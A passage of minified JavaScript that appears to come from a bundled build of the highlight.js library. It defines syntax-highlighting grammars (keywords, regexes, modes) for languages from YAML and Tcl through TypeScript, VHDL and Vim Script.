][^\\n]*\\n(\\2[^\\n]+\\n?)*"},{begin:"<%[%=-]?",end:"[%-]?%>",subLanguage:"ruby",excludeBegin:!0,excludeEnd:!0,relevance:0},{className:"type",begin:"!\\w+!"+q},{className:"type",begin:"!<"+q+">"},{className:"type",begin:"!"+q},{className:"type",begin:"!!"+q},{className:"meta",begin:"&"+A.UNDERSCORE_IDENT_RE+"$"},{className:"meta",begin:"\\*"+A.UNDERSCORE_IDENT_RE+"$"},{className:"bullet",begin:"-(?=[ ]|$)",relevance:0},A.HASH_COMMENT_MODE,{beginKeywords:K,keywords:{literal:K}},_,{className:"number",begin:A.C_NUMBER_RE+"\\b",relevance:0},Z,W,w],j=[...D];return j.pop(),j.push(H),G.contains=j,{name:"YAML",case_insensitive:!0,aliases:["yml"],contains:D}}B$8.exports=LNq});var F$8=v((aLz,g$8)=>{function RNq(A){return{name:"Test Anything Protocol",case_insensitive:!0,contains:[A.HASH_COMMENT_MODE,{className:"meta",variants:[{begin:"^TAP version (\\d+)$"},{begin:"^1\\.\\.(\\d+)$"}]},{begin:/---$/,end:"\\.\\.\\.$",subLanguage:"yaml",relevance:0},{className:"number",begin:" (\\d+) "},{className:"symbol",variants:[{begin:"^ok"},{begin:"^not ok"}]}]}}g$8.exports=RNq});var p$8=v((sLz,U$8)=>{function yNq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function INq(A){return Q$8("(",A,")?")}function Q$8(...A){return A.map((q)=>yNq(q)).join("")}function SNq(A){let K=/[a-zA-Z_][a-zA-Z0-9_]*/,q={className:"number",variants:[A.BINARY_NUMBER_MODE,A.C_NUMBER_MODE]};return{name:"Tcl",aliases:["tk"],keywords:"after append apply array auto_execok auto_import auto_load auto_mkindex auto_mkindex_old auto_qualify auto_reset bgerror binary break catch cd chan clock close concat continue dde dict encoding eof error eval exec exit expr fblocked fconfigure fcopy file fileevent filename flush for foreach format gets glob global history http if incr info interp join lappend|10 lassign|10 lindex|10 linsert|10 list llength|10 load lrange|10 lrepeat|10 lreplace|10 lreverse|10 lsearch|10 lset|10 lsort|10 mathfunc mathop memory msgcat namespace open package parray pid pkg::create pkg_mkIndex platform platform::shell proc puts pwd read refchan regexp registry regsub|10 rename return safe scan seek set socket source split string subst switch tcl_endOfWord tcl_findLibrary tcl_startOfNextWord tcl_startOfPreviousWord tcl_wordBreakAfter tcl_wordBreakBefore tcltest tclvars tell time tm trace unknown unload unset update uplevel upvar variable vwait while",contains:[A.COMMENT(";[ \\t]*#","$"),A.COMMENT("^[ \\t]*#","$"),{beginKeywords:"proc",end:"[\\{]",excludeEnd:!0,contains:[{className:"title",begin:"[ \\t\\n\\r]+(::)?[a-zA-Z_]((::)?[a-zA-Z0-9_])*",end:"[ \\t\\n\\r]",endsWithParent:!0,excludeEnd:!0}]},{className:"variable",variants:[{begin:Q$8(/\$/,INq(/::/),K,"(::",K,")*")},{begin:"\\$\\{(::)?[a-zA-Z_]((::)?[a-zA-Z0-9_])*",end:"\\}",contains:[q]}]},{className:"string",contains:[A.BACKSLASH_ESCAPE],variants:[A.inherit(A.QUOTE_STRING_MODE,{illegal:null})]},q]}}U$8.exports=SNq});var c$8=v((tLz,d$8)=>{function hNq(A){return{name:"Thrift",keywords:{keyword:"namespace const typedef struct enum service exception void oneway set list map required optional",built_in:"bool byte i16 i32 i64 double string binary",literal:"true false"},contains:[A.QUOTE_STRING_MODE,A.NUMBER_MODE,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"class",beginKeywords:"struct enum service exception",end:/\{/,illegal:/\n/,contains:[A.inherit(A.TITLE_MODE,{starts:{endsWithParent:!0,excludeEnd:!0}})]},{begin:"\\b(set|list|map)\\s*<",end:">",keywords:"bool byte i16 i32 i64 double string binary",contains:["self"]}]}}d$8.exports=hNq});var i$8=v((eLz,l$8)=>{function bNq(A){let K={className:"number",begin:"[1-9][0-9]*",relevance:0},q={className:"symbol",begin:":[^\\]]+"},Y={className:"built_in",begin:"(AR|P|PAYLOAD|PR|R|SR|RSR|LBL|VR|UALM|MESSAGE|UTOOL|UFRAME|TIMER|TIMER_OVERFLOW|JOINT_MAX_SPEED|RESUME_PROG|DIAG_REC)\\[",end:"\\]",contains:["self",K,q]},z={className:"built_in",begin:"(AI|AO|DI|DO|F|RI|RO|UI|UO|GI|GO|SI|SO)\\[",end:"\\]",contains:["self",K,A.QUOTE_STRING_MODE,q]};return{name:"TP",keywords:{keyword:"ABORT ACC ADJUST AND AP_LD BREAK CALL CNT COL CONDITION CONFIG DA DB DIV DETECT ELSE END ENDFOR ERR_NUM ERROR_PROG FINE FOR GP GUARD INC IF JMP LINEAR_MAX_SPEED LOCK MOD MONITOR OFFSET Offset OR OVERRIDE PAUSE PREG PTH RT_LD RUN SELECT SKIP Skip TA TB TO TOOL_OFFSET Tool_Offset UF UT UFRAME_NUM UTOOL_NUM UNLOCK WAIT X Y Z W P R STRLEN SUBSTR FINDSTR VOFFSET PROG ATTR MN POS",literal:"ON OFF max_speed LPOS JPOS ENABLE DISABLE START STOP RESET"},contains:[Y,z,{className:"keyword",begin:"/(PROG|ATTR|MN|POS|END)\\b"},{className:"keyword",begin:"(CALL|RUN|POINT_LOGIC|LBL)\\b"},{className:"keyword",begin:"\\b(ACC|CNT|Skip|Offset|PSPD|RT_LD|AP_LD|Tool_Offset)"},{className:"number",begin:"\\d+(sec|msec|mm/sec|cm/min|inch/min|deg/sec|mm|in|cm)?\\b",relevance:0},A.COMMENT("//","[;$]"),A.COMMENT("!","[;$]"),A.COMMENT("--eg:","$"),A.QUOTE_STRING_MODE,{className:"string",begin:"'",end:"'"},A.C_NUMBER_MODE,{className:"variable",begin:"\\$[A-Za-z0-9_]+"}]}}l$8.exports=bNq});var r$8=v((ARz,n$8)=>{function xNq(A){var K={className:"params",begin:"\\(",end:"\\)"},q="attribute block constant cycle date dump include max min parent random range source template_from_string",Y={beginKeywords:q,keywords:{name:q},relevance:0,contains:[K]},z={begin:/\|[A-Za-z_]+:?/,keywords:"abs batch capitalize column convert_encoding date date_modify default escape filter first format inky_to_html inline_css join json_encode keys last length lower map markdown merge nl2br number_format raw reduce replace reverse round slice sort spaceless split striptags title trim upper url_encode",contains:[Y]},w="apply autoescape block deprecated do embed extends filter flush for from if import include macro sandbox set use verbatim with";return w=w+" "+w.split(" ").map(function(H){return"end"+H}).join(" "),{name:"Twig",aliases:["craftcms"],case_insensitive:!0,subLanguage:"xml",contains:[A.COMMENT(/\{#/,/#\}/),{className:"template-tag",begin:/\{%/,end:/%\}/,contains:[{className:"name",begin:/\w+/,keywords:w,starts:{endsWithParent:!0,contains:[z,Y],relevance:0}}]},{className:"template-variable",begin:/\{\{/,end:/\}\}/,contains:["self",z,Y]}]}}n$8.exports=xNq});var A_8=v((KRz,e$8)=>{var a$8=["as","in","of","if","for","while","finally","var","new","function","do","return","void","else","break","catch","instanceof","with","throw","case","default","try","switch","continue","typeof","delete","let","yield","const","class","debugger","async","await","static","import","from","export","extends"],s$8=["true","false","null","undefined","NaN","Infinity"],uNq=["Intl","DataView","Number","Math","Date","String","RegExp","Object","Function","Boolean","Error","Symbol","Set","Map","WeakSet","WeakMap","Proxy","Reflect","JSON","Promise","Float64Array","Int16Array","Int32Array","Int8Array","Uint16Array","Uint32Array","Float32Array","Array","Uint8Array","Uint8ClampedArray","ArrayBuffer","BigInt64Array","BigUint64Array","BigInt"],BNq=["EvalError","InternalError","RangeError","ReferenceError","SyntaxError","TypeError","URIError"],mNq=["setInterval","setTimeout","clearInterval","clearTimeout","require","exports","eval","isFinite","isNaN","parseFloat","parseInt","decodeURI","decodeURIComponent","encodeURI","encodeURIComponent","escape","unescape"],gNq=["arguments","this","super","console","window","document","localStorage","module","global"],t$8=[].concat(mNq,gNq,uNq,BNq);function FNq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function o$8(A){return Tx1("(?=",A,")")}function Tx1(...A){return A.map((q)=>FNq(q)).join("")}function QNq(A){let K=(N,{after:T})=>{let C="</"+N[0].slice(1);return N.input.indexOf(C,T)!==-1},q="[A-Za-z$_][0-9A-Za-z$_]*",Y={begin:"<>",end:"</>"},z={begin:/<[A-Za-z0-9\\._:-]+/,end:/\/[A-Za-z0-9\\._:-]+>|\/>/,isTrulyOpeningTag:(N,T)=>{let C=N[0].length+N.index,R=N.input[C];if(R==="<"){T.ignoreMatch();return}if(R===">"){if(!K(N,{after:C}))T.ignoreMatch()}}},w={$pattern:"[A-Za-z$_][0-9A-Za-z$_]*",keyword:a$8,literal:s$8,built_in:t$8},H="[0-9](_?[0-9])*",J="\\.([0-9](_?[0-9])*)",O="0|[1-9](_?[0-9])*|0[0-7]*[89][0-9]*",X={className:"number",variants:[{begin:"(\\b(0|[1-9](_?[0-9])*|0[0-7]*[89][0-9]*)((\\.([0-9](_?[0-9])*))|\\.)?|(\\.([0-9](_?[0-9])*)))[eE][+-]?([0-9](_?[0-9])*)\\b"},{begin:"\\b(0|[1-9](_?[0-9])*|0[0-7]*[89][0-9]*)\\b((\\.([0-9](_?[0-9])*))\\b|\\.)?|(\\.([0-9](_?[0-9])*))\\b"},{begin:"\\b(0|[1-9](_?[0-9])*)n\\b"},{begin:"\\b0[xX][0-9a-fA-F](_?[0-9a-fA-F])*n?\\b"},{begin:"\\b0[bB][0-1](_?[0-1])*n?\\b"},{begin:"\\b0[oO][0-7](_?[0-7])*n?\\b"},{begin:"\\b0[0-7]+n?\\b"}],relevance:0},$={className:"subst",begin:"\\$\\{",end:"\\}",keywords:w,contains:[]},_={begin:"html`",end:"",starts:{end:"`",returnEnd:!1,contains:[A.BACKSLASH_ESCAPE,$],subLanguage:"xml"}},G={begin:"css`",end:"",starts:{end:"`",returnEnd:!1,contains:[A.BACKSLASH_ESCAPE,$],subLanguage:"css"}},Z={className:"string",begin:"`",end:"`",contains:[A.BACKSLASH_ESCAPE,$]},D={className:"comment",variants:[A.COMMENT(/\/\*\*(?!\/)/,"\\*/",{relevance:0,contains:[{className:"doctag",begin:"@[A-Za-z]+",contains:[{className:"type",begin:"\\{",end:"\\}",relevance:0},{className:"variable",begin:"[A-Za-z$_][0-9A-Za-z$_]*(?=\\s*(-)|$)",endsParent:!0,relevance:0},{begin:/(?=[^\n])\s/,relevance:0}]}]}),A.C_BLOCK_COMMENT_MODE,A.C_LINE_COMMENT_MODE]},j=[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,_,G,Z,X,A.REGEXP_MODE];$.contains=j.concat({begin:/\{/,end:/\}/,keywords:w,contains:["self"].concat(j)});let M=[].concat(D,$.contains),P=M.concat([{begin:/\(/,end:/\)/,keywords:w,contains:["self"].concat(M)}]),f={className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:w,contains:P};return{name:"Javascript",aliases:["js","jsx","mjs","cjs"],keywords:w,exports:{PARAMS_CONTAINS:P},illegal:/#(?![$_A-z])/,contains:[A.SHEBANG({label:"shebang",binary:"node",relevance:5}),{label:"use_strict",className:"meta",relevance:10,begin:/^\s*['"]use (strict|asm)['"]/},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,_,G,Z,D,X,{begin:Tx1(/[{,\n]\s*/,o$8(Tx1(/(((\/\/.*$)|(\/\*(\*[^/]|[^*])*\*\/))\s*)*/,"[A-Za-z$_][0-9A-Za-z$_]*\\s*:"))),relevance:0,contains:[{className:"attr",begin:"[A-Za-z$_][0-9A-Za-z$_]*"+o$8("\\s*:"),relevance:0}]},{begin:"("+A.RE_STARTERS_RE+"|\\b(case|return|throw)\\b)\\s*",keywords:"return throw case",contains:[D,A.REGEXP_MODE,{className:"function",begin:"(\\([^()]*(\\([^()]*(\\([^()]*\\)[^()]*)*\\)[^()]*)*\\)|"+A.UNDERSCORE_IDENT_RE+")\\s*=>",returnBegin:!0,end:"\\s*=>",contains:[{className:"params",variants:[{begin:A.UNDERSCORE_IDENT_RE,relevance:0},{className:null,begin:/\(\s*\)/,skip:!0},{begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:w,contains:P}]}]},{begin:/,/,relevance:0},{className:"",begin:/\s/,end:/\s*/,skip:!0},{variants:[{begin:Y.begin,end:Y.end},{begin:z.begin,"on:begin":z.isTrulyOpeningTag,end:z.end}],subLanguage:"xml",contains:[{begin:z.begin,end:z.end,skip:!0,contains:["self"]}]}],relevance:0},{className:"function",beginKeywords:"function",end:/[{;]/,excludeEnd:!0,keywords:w,contains:["self",A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"}),f],illegal:/%/},{beginKeywords:"while if switch catch for"},{className:"function",begin:A.UNDERSCORE_IDENT_RE+"\\([^()]*(\\([^()]*(\\([^()]*\\)[^()]*)*\\)[^()]*)*\\)\\s*\\{",returnBegin:!0,contains:[f,A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"})]},{variants:[{begin:"\\.[A-Za-z$_][0-9A-Za-z$_]*"},{begin:"\\$[A-Za-z$_][0-9A-Za-z$_]*"}],relevance:0},{className:"class",beginKeywords:"class",end:/[{;=]/,excludeEnd:!0,illegal:/[:"[\]]/,contains:[{beginKeywords:"extends"},A.UNDERSCORE_TITLE_MODE]},{begin:/\b(?=constructor)/,end:/[{;]/,excludeEnd:!0,contains:[A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"}),"self",f]},{begin:"(get|set)\\s+(?=[A-Za-z$_][0-9A-Za-z$_]*\\()",end:/\{/,keywords:"get set",contains:[A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"}),{begin:/\(\)/},f]},{begin:/\$[(.]/}]}}function UNq(A){let q={beginKeywords:"namespace",end:/\{/,excludeEnd:!0},Y={beginKeywords:"interface",end:/\{/,excludeEnd:!0,keywords:"interface extends"},z={className:"meta",relevance:10,begin:/^\s*['"]use strict['"]/},w=["any","void","number","boolean","string","object","never","enum"],H=["type","namespace","typedef","interface","public","private","protected","implements","declare","abstract","readonly"],J={$pattern:"[A-Za-z$_][0-9A-Za-z$_]*",keyword:a$8.concat(H),literal:s$8,built_in:t$8.concat(w)},O={className:"meta",begin:"@[A-Za-z$_][0-9A-Za-z$_]*"},X=(G,Z,W)=>{let D=G.contains.findIndex((j)=>j.label===Z);if(D===-1)throw Error("can not find mode to replace");G.contains.splice(D,1,W)},$=QNq(A);Object.assign($.keywords,J),$.exports.PARAMS_CONTAINS.push(O),$.contains=$.contains.concat([O,q,Y]),X($,"shebang",A.SHEBANG()),X($,"use_strict",z);let _=$.contains.find((G)=>G.className==="function");return _.relevance=0,Object.assign($,{name:"TypeScript",aliases:["ts","tsx"]}),$}e$8.exports=UNq});var q_8=v((qRz,K_8)=>{function pNq(A){return{name:"Vala",keywords:{keyword:"char uchar unichar int uint long ulong short ushort int8 int16 int32 int64 uint8 uint16 uint32 uint64 float double bool struct enum string void weak unowned owned async signal static abstract interface override virtual delegate if while do for foreach else switch case break default return try catch public private protected internal using new this get set const stdout stdin stderr var",built_in:"DBus GLib CCode Gee Object Gtk Posix",literal:"false true null"},contains:[{className:"class",beginKeywords:"class interface namespace",end:/\{/,excludeEnd:!0,illegal:"[^,:\\n\\s\\.]",contains:[A.UNDERSCORE_TITLE_MODE]},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"string",begin:'"""',end:'"""',relevance:5},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE,{className:"meta",begin:"^#",end:"$",relevance:2}]}}K_8.exports=pNq});var w_8=v((YRz,z_8)=>{function Y_8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function kaA(...A){return A.map((q)=>Y_8(q)).join("")}function vx1(...A){return"("+A.map((q)=>Y_8(q)).join("|")+")"}function dNq(A){let K={className:"string",begin:/"(""|[^/n])"C\b/},q={className:"string",begin:/"/,end:/"/,illegal:/\n/,contains:[{begin:/""/}]},Y=/\d{1,2}\/\d{1,2}\/\d{4}/,z=/\d{4}-\d{1,2}-\d{1,2}/,w=/(\d|1[012])(:\d+){0,2} *(AM|PM)/,H=/\d{1,2}(:\d{1,2}){1,2}/,J={className:"literal",variants:[{begin:kaA(/# */,vx1(z,Y),/ *#/)},{begin:kaA(/# */,H,/ *#/)},{begin:kaA(/# */,w,/ *#/)},{begin:kaA(/# */,vx1(z,Y),/ +/,vx1(w,H),/ *#/)}]},O={className:"number",relevance:0,variants:[{begin:/\b\d[\d_]*((\.[\d_]+(E[+-]?[\d_]+)?)|(E[+-]?[\d_]+))[RFD@!#]?/},{begin:/\b\d[\d_]*((U?[SIL])|[%&])?/},{begin:/&H[\dA-F_]+((U?[SIL])|[%&])?/},{begin:/&O[0-7_]+((U?[SIL])|[%&])?/},{begin:/&B[01_]+((U?[SIL])|[%&])?/}]},X={className:"label",begin:/^\w+:/},$=A.COMMENT(/'''/,/$/,{contains:[{className:"doctag",begin:/<\/?/,end:/>/}]}),_=A.COMMENT(null,/$/,{variants:[{begin:/'/},{begin:/([\t ]|^)REM(?=\s)/}]});return{name:"Visual Basic .NET",aliases:["vb"],case_insensitive:!0,classNameAliases:{label:"symbol"},keywords:{keyword:"addhandler alias aggregate ansi as async assembly auto binary by byref byval call case catch class compare const continue custom declare default delegate dim distinct do each equals else elseif end enum erase error event exit explicit finally for friend from function get global goto group handles if implements imports in inherits interface into iterator join key let lib loop me mid module mustinherit mustoverride mybase myclass namespace narrowing new next notinheritable notoverridable of off on operator option optional order overloads overridable overrides paramarray partial preserve private property protected public raiseevent readonly redim removehandler resume return select set shadows shared skip static step stop structure strict sub synclock take text then throw to try unicode until using when where while widening with withevents writeonly yield",built_in:"addressof and andalso await directcast gettype getxmlnamespace is isfalse isnot istrue like mod nameof new not or orelse trycast typeof xor cbool cbyte cchar cdate cdbl cdec cint clng cobj csbyte cshort csng cstr cuint culng cushort",type:"boolean byte char date decimal double integer long object sbyte short single string uinteger ulong ushort",literal:"true false nothing"},illegal:"//|\\{|\\}|endif|gosub|variant|wend|^\\$ ",contains:[K,q,J,O,X,$,_,{className:"meta",begin:/[\t ]*#(const|disable|else|elseif|enable|end|externalsource|if|region)\b/,end:/$/,keywords:{"meta-keyword":"const disable else elseif enable end externalsource if region then"},contains:[_]}]}}z_8.exports=dNq});var O_8=v((zRz,J_8)=>{function H_8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function cNq(...A){return A.map((q)=>H_8(q)).join("")}function lNq(...A){return"("+A.map((q)=>H_8(q)).join("|")+")"}function iNq(A){let K="lcase month vartype instrrev ubound setlocale getobject rgb getref string weekdayname rnd dateadd monthname now day minute isarray cbool round formatcurrency conversions csng timevalue second year space abs clng timeserial fixs len asc isempty maths dateserial atn timer isobject filter weekday datevalue ccur isdate instr datediff formatdatetime replace isnull right sgn array snumeric log cdbl hex chr lbound msgbox ucase getlocale cos cdate cbyte rtrim join hour oct typename trim strcomp int createobject loadpicture tan formatnumber mid split cint sin datepart ltrim sqr time derived eval date formatpercent exp inputbox left ascw chrw regexp cstr err".split(" "),q=["server","response","request","scriptengine","scriptenginebuildversion","scriptengineminorversion","scriptenginemajorversion"],Y={begin:cNq(lNq(...K),"\\s*\\("),relevance:0,keywords:{built_in:K}};return{name:"VBScript",aliases:["vbs"],case_insensitive:!0,keywords:{keyword:"call class const dim do loop erase execute executeglobal exit for each next function if then else on error option explicit new private property let get public randomize redim rem select case set stop sub while wend with end to elseif is or xor and not class_initialize class_terminate default preserve in me byval byref step resume goto",built_in:q,literal:"true false null nothing empty"},illegal:"//",contains:[Y,A.inherit(A.QUOTE_STRING_MODE,{contains:[{begin:'""'}]}),A.COMMENT(/'/,/$/,{relevance:0}),A.C_NUMBER_MODE]}}J_8.exports=iNq});var $_8=v((wRz,X_8)=>{function nNq(A){return{name:"VBScript in HTML",subLanguage:"xml",contains:[{begin:"<%",end:"%>",subLanguage:"vbscript"}]}}X_8.exports=nNq});var G_8=v((HRz,__8)=>{function rNq(A){return{name:"Verilog",aliases:["v","sv","svh"],case_insensitive:!1,keywords:{$pattern:/[\w\$]+/,keyword:"accept_on alias always always_comb always_ff always_latch and assert assign assume automatic before begin bind bins binsof bit break buf|0 bufif0 bufif1 byte case casex casez cell chandle checker class clocking cmos config const constraint context continue cover covergroup coverpoint cross deassign default defparam design disable dist do edge else end endcase endchecker endclass endclocking endconfig endfunction endgenerate endgroup endinterface endmodule endpackage endprimitive endprogram endproperty endspecify endsequence endtable endtask enum event eventually expect export extends extern final first_match for force foreach forever fork forkjoin function generate|5 genvar global highz0 highz1 if iff ifnone ignore_bins illegal_bins implements implies import incdir include initial inout input inside instance int integer interconnect interface intersect join join_any join_none large let liblist library local localparam logic longint macromodule matches medium modport module nand negedge nettype new nexttime nmos nor noshowcancelled not notif0 notif1 or output package packed parameter pmos posedge primitive priority program property protected pull0 pull1 pulldown pullup pulsestyle_ondetect pulsestyle_onevent pure rand randc randcase randsequence rcmos real realtime ref reg reject_on release repeat restrict return rnmos rpmos rtran rtranif0 rtranif1 s_always s_eventually s_nexttime s_until s_until_with scalared sequence shortint shortreal showcancelled signed small soft solve specify specparam static string strong strong0 strong1 struct super supply0 supply1 sync_accept_on sync_reject_on table tagged task this throughout time timeprecision timeunit tran tranif0 tranif1 tri tri0 tri1 triand trior trireg type typedef union unique unique0 unsigned until until_with untyped use uwire var vectored virtual void wait wait_order wand weak weak0 weak1 while wildcard wire with within wor xnor xor",literal:"null",built_in:"$finish $stop $exit $fatal $error $warning $info $realtime $time $printtimescale $bitstoreal $bitstoshortreal $itor $signed $cast $bits $stime $timeformat $realtobits $shortrealtobits $rtoi $unsigned $asserton $assertkill $assertpasson $assertfailon $assertnonvacuouson $assertoff $assertcontrol $assertpassoff $assertfailoff $assertvacuousoff $isunbounded $sampled $fell $changed $past_gclk $fell_gclk $changed_gclk $rising_gclk $steady_gclk $coverage_control $coverage_get $coverage_save $set_coverage_db_name $rose $stable $past $rose_gclk $stable_gclk $future_gclk $falling_gclk $changing_gclk $display $coverage_get_max $coverage_merge $get_coverage $load_coverage_db $typename $unpacked_dimensions $left $low $increment $clog2 $ln $log10 $exp $sqrt $pow $floor $ceil $sin $cos $tan $countbits $onehot $isunknown $fatal $warning $dimensions $right $high $size $asin $acos $atan $atan2 $hypot $sinh $cosh $tanh $asinh $acosh $atanh $countones $onehot0 $error $info $random $dist_chi_square $dist_erlang $dist_exponential $dist_normal $dist_poisson $dist_t $dist_uniform $q_initialize $q_remove $q_exam $async$and$array $async$nand$array $async$or$array $async$nor$array $sync$and$array $sync$nand$array $sync$or$array $sync$nor$array $q_add $q_full $psprintf $async$and$plane $async$nand$plane $async$or$plane $async$nor$plane $sync$and$plane $sync$nand$plane $sync$or$plane $sync$nor$plane $system $display $displayb $displayh $displayo $strobe $strobeb $strobeh $strobeo $write $readmemb $readmemh $writememh $value$plusargs $dumpvars $dumpon $dumplimit $dumpports $dumpportson $dumpportslimit $writeb $writeh $writeo $monitor $monitorb $monitorh $monitoro $writememb $dumpfile $dumpoff $dumpall $dumpflush $dumpportsoff $dumpportsall $dumpportsflush $fclose $fdisplay $fdisplayb $fdisplayh $fdisplayo $fstrobe $fstrobeb $fstrobeh $fstrobeo $swrite $swriteb $swriteh $swriteo $fscanf $fread $fseek $fflush $feof $fopen $fwrite $fwriteb $fwriteh $fwriteo $fmonitor $fmonitorb $fmonitorh $fmonitoro $sformat $sformatf $fgetc $ungetc $fgets $sscanf $rewind $ftell $ferror"},contains:[A.C_BLOCK_COMMENT_MODE,A.C_LINE_COMMENT_MODE,A.QUOTE_STRING_MODE,{className:"number",contains:[A.BACKSLASH_ESCAPE],variants:[{begin:"\\b((\\d+'(b|h|o|d|B|H|O|D))[0-9xzXZa-fA-F_]+)"},{begin:"\\B(('(b|h|o|d|B|H|O|D))[0-9xzXZa-fA-F_]+)"},{begin:"\\b([0-9_])+",relevance:0}]},{className:"variable",variants:[{begin:"#\\((?!parameter).+\\)"},{begin:"\\.\\w+",relevance:0}]},{className:"meta",begin:"`",end:"$",keywords:{"meta-keyword":"define __FILE__ __LINE__ begin_keywords celldefine default_nettype define else elsif end_keywords endcelldefine endif ifdef ifndef include line nounconnected_drive pragma resetall timescale unconnected_drive undef undefineall"},relevance:0}]}}__8.exports=rNq});var W_8=v((JRz,Z_8)=>{function oNq(A){let q="[eE][-+]?\\d(_|\\d)*",Y="\\d(_|\\d)*(\\.\\d(_|\\d)*)?("+q+")?",z="\\w+",H="\\b("+("\\d(_|\\d)*#\\w+(\\.\\w+)?#("+q+")?")+"|"+Y+")";return{name:"VHDL",case_insensitive:!0,keywords:{keyword:"abs access after alias all and architecture array assert assume assume_guarantee attribute begin block body buffer bus case component configuration constant context cover disconnect downto default else elsif end entity exit fairness file for force function generate generic group guarded if impure in inertial inout is label library linkage literal loop map mod nand new next nor not null of on open or others out package parameter port postponed procedure process property protected pure range record register reject release rem report restrict restrict_guarantee return rol ror select sequence severity shared signal sla sll sra srl strong subtype then to transport type unaffected units until use variable view vmode vprop vunit wait when while with xnor xor",built_in:"boolean bit character integer time delay_length natural positive string bit_vector file_open_kind file_open_status std_logic std_logic_vector unsigned signed boolean_vector integer_vector std_ulogic std_ulogic_vector unresolved_unsigned u_unsigned unresolved_signed u_signed real_vector time_vector",literal:"false true note warning error failure line text side width"},illegal:/\{/,contains:[A.C_BLOCK_COMMENT_MODE,A.COMMENT("--","$"),A.QUOTE_STRING_MODE,{className:"number",begin:H,relevance:0},{className:"string",begin:"'(U|X|0|1|Z|W|L|H|-)'",contains:[A.BACKSLASH_ESCAPE]},{className:"symbol",begin:"'[A-Za-z](_?[A-Za-z0-9])*",contains:[A.BACKSLASH_ESCAPE]}]}}Z_8.exports=oNq});var j_8=v((ORz,D_8)=>{function aNq(A){return{name:"Vim Script",keywords:{$pattern:/[!#@\w]+/,keyword:"N|0 P|0 X|0 a|0 ab abc abo al am an|0 ar arga argd arge argdo argg argl argu as au aug aun b|0 bN ba bad bd be bel bf bl bm bn bo bp br brea breaka breakd breakl bro bufdo buffers bun bw c|0 cN cNf ca cabc caddb cad caddf cal cat cb cc ccl cd ce cex cf cfir cgetb cgete cg changes chd che checkt cl cla clo cm cmapc cme cn cnew cnf cno cnorea cnoreme co col colo com comc comp con conf cope cp cpf cq cr cs cst cu cuna cunme cw delm deb debugg delc delf dif diffg diffo diffp diffpu diffs diffthis dig di dl dell dj dli do doautoa dp dr ds dsp e|0 ea ec echoe echoh echom echon el elsei em en endfo endf endt endw ene ex exe exi exu f|0 files filet fin fina fini fir fix fo foldc foldd folddoc foldo for fu go gr grepa gu gv ha helpf helpg helpt hi hid his ia iabc if ij il im imapc ime ino inorea inoreme int is isp iu iuna iunme j|0 ju k|0 keepa kee keepj lN lNf l|0 lad laddb laddf la lan lat lb lc lch lcl lcs le lefta let lex lf lfir lgetb lgete lg lgr lgrepa lh ll lla lli lmak lm lmapc lne lnew lnf ln loadk lo loc lockv lol lope lp lpf lr ls lt lu lua luad luaf lv lvimgrepa lw m|0 ma mak map mapc marks mat me menut mes mk mks mksp mkv mkvie mod mz mzf nbc nb nbs new nm nmapc nme nn nnoreme noa no noh norea noreme norm nu nun nunme ol o|0 om omapc ome on ono onoreme opt ou ounme ow p|0 profd prof pro promptr pc ped pe perld po popu pp pre prev ps pt ptN ptf ptj ptl ptn ptp ptr pts pu pw py3 python3 py3d py3f py pyd pyf quita qa rec red redi redr redraws reg res ret retu rew ri rightb rub rubyd rubyf rund ru rv sN san sa sal sav sb sbN sba sbf sbl sbm sbn sbp sbr scrip scripte scs se setf setg setl sf sfir sh sim sig sil sl sla sm smap smapc sme sn sni sno snor snoreme sor so spelld spe spelli spellr spellu spellw sp spr sre st sta startg startr star stopi stj sts sun sunm sunme sus sv sw sy synti sync tN tabN tabc tabdo tabe tabf tabfir tabl tabm tabnew tabn tabo tabp tabr tabs tab ta tags tc tcld tclf te tf th tj tl tm tn to tp tr try ts tu u|0 undoj undol una unh unl unlo unm unme uns up ve verb vert vim vimgrepa vi viu vie vm vmapc vme vne vn vnoreme vs vu vunme windo w|0 wN wa wh wi winc winp wn wp wq wqa ws wu wv x|0 xa xmapc xm xme xn xnoreme xu xunme y|0 z|0 ~ Next Print append abbreviate abclear aboveleft all amenu anoremenu args argadd argdelete argedit argglobal arglocal argument ascii autocmd augroup aunmenu buffer bNext ball badd bdelete behave belowright bfirst blast bmodified bnext botright bprevious brewind break breakadd breakdel breaklist browse bunload bwipeout change cNext cNfile cabbrev cabclear caddbuffer caddexpr caddfile call catch cbuffer cclose center cexpr cfile cfirst cgetbuffer cgetexpr cgetfile chdir checkpath checktime clist clast close cmap cmapclear cmenu cnext cnewer cnfile cnoremap cnoreabbrev cnoremenu copy colder colorscheme command comclear compiler continue confirm copen cprevious cpfile cquit crewind cscope cstag cunmap cunabbrev cunmenu cwindow delete delmarks debug debuggreedy delcommand delfunction diffupdate diffget diffoff diffpatch diffput diffsplit digraphs display deletel djump dlist doautocmd doautoall deletep drop dsearch dsplit edit earlier echo echoerr echohl echomsg else elseif emenu endif endfor endfunction endtry endwhile enew execute exit exusage file filetype find finally finish first fixdel fold foldclose folddoopen folddoclosed foldopen function global goto grep grepadd gui gvim hardcopy help helpfind helpgrep helptags highlight hide history insert iabbrev iabclear ijump ilist imap imapclear imenu inoremap inoreabbrev inoremenu intro isearch isplit iunmap iunabbrev iunmenu join jumps keepalt keepmarks keepjumps lNext lNfile list laddexpr laddbuffer laddfile last language later lbuffer lcd lchdir lclose lcscope left leftabove lexpr lfile lfirst lgetbuffer lgetexpr lgetfile lgrep lgrepadd lhelpgrep llast llist lmake lmap lmapclear lnext lnewer lnfile lnoremap loadkeymap loadview lockmarks lockvar lolder lopen lprevious 